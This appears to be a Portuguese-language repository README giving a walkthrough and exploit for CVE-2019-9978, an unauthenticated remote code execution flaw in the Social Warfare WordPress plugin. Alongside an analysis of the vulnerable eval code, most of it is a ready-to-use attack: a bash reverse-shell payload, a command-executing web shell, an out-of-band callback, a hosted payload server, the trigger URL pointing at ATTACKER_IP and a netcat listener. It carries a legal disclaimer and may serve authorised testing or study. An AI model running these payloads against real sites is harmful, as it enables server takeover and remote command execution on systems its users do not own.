
Um passo a passo completo e exploit para CVE-2019-9978 - Execução Remota de Código Não Autenticada no plugin Social Warfare para WordPress ≤ 3.5.2. Inclui análise de código vulnerável e exemplos de payload.

⚠️ AVISO LEGAL: Este repositório é apenas para testes de segurança educacionais e autorizados. Use somente em sistemas que você possua ou tenha permissão explícita por escrito para testar. Acesso não autorizado é ilegal.
| Propriedade | Valor |
|---|
| ID CVE | CVE-2019-9978 |
| Software Afetado | Plugin Social Warfare ≤ 3.5.2 (WordPress) |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) / Inclusão Remota de Arquivo (RFI) |
| Autenticação Necessária | ❌ Não – sem autenticação |
| Pontuação CVSS | 9.8 (Crítico) |
| Corrigido em | Versão 3.5.3 |
| Explorado ativamente | Sim – Março de 2019 |
O plugin Social Warfare é um plugin popular do WordPress que adiciona botões de compartilhamento social aos sites. As versões 3.5.0 a 3.5.2 contêm uma vulnerabilidade crítica de RCE que permite que atacantes executem código PHP arbitrário no servidor sem qualquer autenticação.
Social Warfare é um plugin popular do WordPress que adiciona botões de compartilhamento social aos sites, permitindo que os visitantes compartilhem conteúdo facilmente em plataformas como:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ MAL-ENTENDIMENTO CRÍTICO:
// is_admin() apenas verifica se a página está em /wp-admin/
// NÃO verifica autenticação ou privilégios do usuário!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Etapa 1: Busca arquivo remoto a partir de URL controlada pelo usuário
// Sem validação, sem sanitização, sem lista branca!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Etapa 2: Extrai conteúdo entre as tags <pre>
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Etapa 3: Constrói a string de código PHP
$array = 'return ' . $options . ';';
// Etapa 4: 💀 FALHA CRÍTICA – Código fornecido pelo usuário é executado!
try {
$fetched_options = eval( $array ); // <-- Execução Remota de Código
// ... resto da lógica de migração
} catch ( ParseError $e ) {
// ... tratamento de erro
}
}
is_admin() NÃO é SegurançaA função do WordPress is_admin() não verifica se o usuário está logado ou possui privilégios de administrador. Ela apenas verifica se a página requisitada está dentro do diretório /wp-admin/:
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// NÃO verifica autenticação!
// NÃO verifica papel do usuário!
}
A ironia: Quando você acessa /wp-admin/admin-post.php, o WordPress define WP_ADMIN = true. Isso faz com que is_admin() retorne true mesmo para requisições não autenticadas, o que habilita a execução do bloco de código vulnerável.
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
O plugin possuía um recurso de "debug" oculto que supostamente ajudaria desenvolvedores a carregar arquivos de configuração de URLs externas. No entanto, esse recurso tinha uma falha fatal: baixava qualquer arquivo de uma URL fornecida pelo usuário e executava qualquer código que encontrasse dentro — sem pedir permissão ou verificar se o usuário estava autorizado.
O exploit é simples:
Um atacante hospeda um arquivo malicioso em seu próprio servidor, instrui o plugin a baixá-lo, e o plugin executa cegamente o código do atacante no site da vítima. Como o plugin não exige que você esteja logado para acionar isso, qualquer pessoa que saiba a URL pode assumir o controle do site.
Pense assim: Imagine um segurança que abre qualquer porta quando você diz "modo debug" — sem verificar se você trabalha lá ou tem um crachá. Foi exatamente isso que essa vulnerabilidade fez.
O exploit deve escrever entre 2 tags <pre></pre>.
Use o WPScan para identificar a versão do plugin Social Warfare:
wpscan --url http://target.com --enumerate vp
Se você instalou por conta própria, não esqueça de ativar o plugin no painel administrativo.
Crie payload.txt com o payload desejado e, em seguida, crie um servidor para servir esse payload.
Exemplos de payloads:
Payload de Teste (Verificar RCE):
<pre>phpinfo();</pre>
Teste Out-of-Bound:
<pre>@file_get_contents('http://burp collabrator');</pre>
Reverse Shell Linux:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Executor Interativo de Comandos:
<pre>system($_GET['cmd']);</pre>
Inicie um servidor HTTP Python para hospedar seu payload:
python3 -m http.server 8000
Seu payload agora está acessível em: http://YOUR_IP:8000/payload.txt
Se você usar localhost:
http://127.0.0.1:8000/payload.txt
Após fazer a requisição a partir do código vulnerável, você deve ver um status code 200:

Opção A – Acionamento Manual:
Visite esta URL no seu navegador ou use curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
Novamente, se você usar localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
Se bem-sucedido, você obterá um shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Feliz Hacking! 🚀